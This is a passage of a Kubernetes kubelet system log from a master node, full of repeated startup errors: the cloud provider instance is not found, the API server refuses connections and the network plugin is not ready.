aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.241386   19014 kubelet.go:1246  kubelet failed to get node info: failed to get external id from cloud provider: instance not found\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.241410   19014 status_manager.go:140  starting to sync pod status with apiserver\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.241419   19014 kubelet.go:1741  starting kubelet main sync loop.\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.241431   19014 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: instance not found container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.241486   19014 volume_manager.go:246  the desired_state_of_world populator starts\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.241759   19014 volume_manager.go:248  starting kubelet volume manager\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.245797   19014 kubelet.go:2067  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.249085   19014 factory.go:309  registering docker factory\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : w0801 17:55:50.249116   19014 manager.go:247  registration of the rkt container factory failed: unable to communicate with rkt api service: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: getsockopt: connection refused\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.249120   19014 factory.go:54  registering systemd factory\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.250174   19014 factory.go:86  registering raw factory\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.250546   19014 manager.go:1106  started watching for new ooms in manager\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.251945   19014 oomparser.go:185  oomparser using systemd\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.252380   19014 manager.go:288  starting recovery of all containers\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.306982   19014 manager.go:293  recovery completed\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.341725   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.358018   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.403106   19014 eviction_manager.go:214  eviction manager: unexpected err: failed getnode: node 'k8s-master-40834743-0' not found\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.558197   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.574176   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.660432   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.662340   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.663295   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : i0801 17:55:50.974346   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:55:50 k8s-master-40834743-0 docker 18987 : e0801 17:55:50.990209   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:55:51 k8s-master-40834743-0 docker 18987 : e0801 17:55:51.661092   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:51 k8s-master-40834743-0 docker 18987 : e0801 17:55:51.662699   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:51 k8s-master-40834743-0 docker 18987 : e0801 17:55:51.663763   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:51 k8s-master-40834743-0 docker 18987 : i0801 17:55:51.790400   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:55:51 k8s-master-40834743-0 docker 18987 : e0801 17:55:51.806773   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:55:52 k8s-master-40834743-0 docker 18987 : e0801 17:55:52.661594   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:52 k8s-master-40834743-0 docker 18987 : e0801 17:55:52.663109   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:52 k8s-master-40834743-0 docker 18987 : e0801 17:55:52.664095   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:53 k8s-master-40834743-0 docker 18987 : i0801 17:55:53.407032   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:55:53 k8s-master-40834743-0 docker 18987 : e0801 17:55:53.424849   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:55:53 k8s-master-40834743-0 docker 18987 : e0801 17:55:53.662140   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:53 k8s-master-40834743-0 docker 18987 : e0801 17:55:53.663505   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:53 k8s-master-40834743-0 docker 18987 : e0801 17:55:53.664544   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:54 k8s-master-40834743-0 docker 18987 : e0801 17:55:54.662687   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:54 k8s-master-40834743-0 docker 18987 : e0801 17:55:54.663884   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:54 k8s-master-40834743-0 docker 18987 : e0801 17:55:54.664940   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:55 k8s-master-40834743-0 docker 18987 : i0801 17:55:55.241650   19014 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: instance not found \r aug 01 17:55:55 k8s-master-40834743-0 docker 18987 : e0801 17:55:55.375846   19014 kubelet.go:2067  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r aug 01 17:55:55 k8s-master-40834743-0 docker 18987 : e0801 17:55:55.663219   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:55 k8s-master-40834743-0 docker 18987 : e0801 17:55:55.664246   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:55 k8s-master-40834743-0 docker 18987 : e0801 17:55:55.665303   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:56 k8s-master-40834743-0 docker 18987 : i0801 17:55:56.625060   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:55:56 k8s-master-40834743-0 docker 18987 : e0801 17:55:56.663734   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:56 k8s-master-40834743-0 docker 18987 : e0801 17:55:56.664623   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:56 k8s-master-40834743-0 docker 18987 : e0801 17:55:56.665322   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:55:56 k8s-master-40834743-0 docker 18987 : e0801 17:55:56.665591   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:57 k8s-master-40834743-0 docker 18987 : e0801 17:55:57.664205   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:57 k8s-master-40834743-0 docker 18987 : e0801 17:55:57.665187   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:57 k8s-master-40834743-0 docker 18987 : e0801 17:55:57.666272   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:58 k8s-master-40834743-0 docker 18987 : e0801 17:55:58.482706   19014 event.go:208  unable to write event: 'post https://10.239.255.239:443/api/v1/namespaces/default/events: dial tcp 10.239.255.239:443: getsockopt: connection refused'  may retry after sleeping \r aug 01 17:55:58 k8s-master-40834743-0 docker 18987 : e0801 17:55:58.664667   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:58 k8s-master-40834743-0 docker 18987 : e0801 17:55:58.665683   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:58 k8s-master-40834743-0 docker 18987 : e0801 17:55:58.666643   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:59 k8s-master-40834743-0 docker 18987 : e0801 17:55:59.665225   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:59 k8s-master-40834743-0 docker 18987 : e0801 17:55:59.666043   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:59 k8s-master-40834743-0 docker 18987 : e0801 17:55:59.667313   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:00 k8s-master-40834743-0 docker 18987 : i0801 17:56:00.241766   19014 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: instance not found \r aug 01 17:56:00 k8s-master-40834743-0 docker 18987 : e0801 17:56:00.376741   19014 kubelet.go:2067  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r aug 01 17:56:00 k8s-master-40834743-0 docker 18987 : e0801 17:56:00.433215   19014 eviction_manager.go:214  eviction manager: unexpected err: failed getnode: node 'k8s-master-40834743-0' not found\r aug 01 17:56:00 k8s-master-40834743-0 docker 18987 : e0801 17:56:00.665697   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:00 k8s-master-40834743-0 docker 18987 : e0801 17:56:00.666906   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:00 k8s-master-40834743-0 docker 18987 : e0801 17:56:00.667629   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:01 k8s-master-40834743-0 docker 18987 : e0801 17:56:01.666291   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:01 k8s-master-40834743-0 docker 18987 : e0801 17:56:01.667425   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:01 k8s-master-40834743-0 docker 18987 : e0801 17:56:01.668299   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:02 k8s-master-40834743-0 docker 18987 : e0801 17:56:02.666947   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:02 k8s-master-40834743-0 docker 18987 : e0801 17:56:02.668146   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:02 k8s-master-40834743-0 docker 18987 : e0801 17:56:02.669435   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:03 k8s-master-40834743-0 docker 18987 : i0801 17:56:03.065439   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:56:03 k8s-master-40834743-0 docker 18987 : e0801 17:56:03.080150   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:56:03 k8s-master-40834743-0 docker 18987 : e0801 17:56:03.667527   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:03 k8s-master-40834743-0 docker 18987 : e0801 17:56:03.668675   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:03 k8s-master-40834743-0 docker 18987 : e0801 17:56:03.669790   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:04 k8s-master-40834743-0 docker 18987 : e0801 17:56:04.668074   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:04 k8s-master-40834743-0 docker 18987 : e0801 17:56:04.669089   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:04 k8s-master-40834743-0 docker 18987 : e0801 17:56:04.670235   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:05 k8s-master-40834743-0 docker 18987 : i0801 17:56:05.241893   19014 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: instance not found \r aug 01 17:56:05 k8s-master-40834743-0 docker 18987 : e0801 17:56:05.377751   19014 kubelet.go:2067  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r aug 01 17:56:05 k8s-master-40834743-0 docker 18987 : e0801 17:56:05.668622   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:05 k8s-master-40834743-0 docker 18987 : e0801 17:56:05.669485   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:05 k8s-master-40834743-0 docker 18987 : e0801 17:56:05.670550   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:06 k8s-master-40834743-0 docker 18987 : e0801 17:56:06.669352   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:06 k8s-master-40834743-0 docker 18987 : e0801 17:56:06.670078   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:06 k8s-master-40834743-0 docker 18987 : e0801 17:56:06.671119   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:07 k8s-master-40834743-0 docker 18987 : e0801 17:56:07.670000   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:07 k8s-master-40834743-0 docker 18987 : e0801 17:56:07.670891   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:07 k8s-master-40834743-0 docker 18987 : e0801 17:56:07.671992   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:08 k8s-master-40834743-0 docker 18987 : e0801 17:56:08.483229   19014 event.go:208  unable to write event: 'post https://10.239.255.239:443/api/v1/namespaces/default/events: dial tcp 10.239.255.239:443: getsockopt: connection refused'  may retry after sleeping \r aug 01 17:56:08 k8s-master-40834743-0 docker 18987 : e0801 17:56:08.670677   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:08 k8s-master-40834743-0 docker 18987 : e0801 17:56:08.671437   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:08 k8s-master-40834743-0 docker 18987 : e0801 17:56:08.672509   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:09 k8s-master-40834743-0 docker 18987 : e0801 17:56:09.671289   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:09 k8s-master-40834743-0 docker 18987 : e0801 17:56:09.672154   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:09 k8s-master-40834743-0 docker 18987 : e0801 17:56:09.673273   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : i0801 17:56:10.080370   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : e0801 17:56:10.096963   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : i0801 17:56:10.242056   19014 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: instance not found \r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : e0801 17:56:10.378601   19014 kubelet.go:2067  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : e0801 17:56:10.458850   19014 eviction_manager.go:214  eviction manager: unexpected err: failed getnode: node 'k8s-master-40834743-0' not found\r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : e0801 17:56:10.671809   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : e0801 17:56:10.672734   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:10 k8s-master-40834743-0 docker 18987 : e0801 17:56:10.673805   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:11 k8s-master-40834743-0 docker 18987 : e0801 17:56:11.672370   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:11 k8s-master-40834743-0 docker 18987 : e0801 17:56:11.673226   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get 